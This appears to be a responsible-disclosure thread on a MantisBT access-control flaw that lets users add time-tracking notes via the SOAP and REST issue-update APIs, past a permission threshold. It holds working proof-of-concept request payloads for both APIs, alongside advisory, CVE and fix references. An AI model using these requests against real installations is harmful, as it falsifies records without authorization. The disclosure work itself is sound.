Thanks for the report, I'll look into it.

This vulnerability has already been identified back in April by another researcher (@ninjasec), who reported it against the REST API, but in fact it's the same issue as REST relies on the same mc_issue_update() function. Since this report is much clearer, against our usual practice I'll mark the older Issue #37081 as duplicate. Credits will be shared.

I can reproduce the problem and therefore confirm the vulnerability, although the provided steps to reproduce are incorrect (duration is set to zero). Here is a SOAP payload that does add time:

<soapenv:Envelope xmlns:soapenv="http://www.w3.org/2003/05/soap-envelope" xmlns:mc="http://futureware.biz"
                  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soapenv:Header/>
    <soapenv:Body>
        <mc:mc_issue_update>
            <username>{{username}}</username>
            <password>{{password}}</password>
            <issueId xsi:type="xsd:integer">XXX</issueId>
            <issue xsi:type="mc:IssueData">
                <summary>summary</summary>
                <description>description</description>
                <notes>
                    <item>
                        <text>via SOAP</text>
                        <note_type>2</note_type>
                        <time_tracking>120</time_tracking>
                    </item>
                </notes>
            </issue>
        </mc:mc_issue_update>
    </soapenv:Body>
</soapenv:Envelope>

It's also worth mentioning that with SOAP, the user must have $g_time_tracking_view_threshold otherwise even though a TIME_TRACKING note will indeed be created, the actual duration will be set to 0.

With REST:

PATCH {{resturl}}/issues/{{id}}
Authorization: {{token}}
Content-Type: application/json

{
  "notes": [
    {
      "text": "via REST",
      "time_tracking": {"duration":  "02:00"}
    }
  ]
}

As far as I can tell, adding a REMINDER note like this does NOT trigger email notifications, as bugnote_add() is called with $p_send_email parameter set to false. If you actually managed to do it, I'd like to know how.

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-4vpf-w7qv-5h3q created and CVE request sent.

@byteoverride please indicate how you would like to be credited for the finding.

You're right that my PoC had the duration effectively at zero. I set note_attr to 01:00 but didn't include the time_tracking field properly. The core vulnerability (unauthorized note_type injection
bypassing time_tracking_edit_threshold) is the same, but I should have verified the time entry actually registered. Thanks for the corrected payload.

REMINDER email notifications: I reviewed the code again and you're correct. On line 1227 of mc_issue_api.php, bugnote_add() is called with $p_send_email explicitly set to false in the mc_issue_update path. I
made that claim based on how REMINDER notes behave in the web UI (where bugnote_add() uses the default $p_send_email = true), but I didn't verify that the SOAP path uses the same parameter. It doesn't. I'll
retract the email notification claim from the impact.
Thank you for the observation sir. much appreciated.

PR for review: https://github.com/mantisbt/mantisbt-ghsa-4vpf-w7qv-5h3q/pull/1

CVE-2026-52883 assigned (on 09-Jun-2026).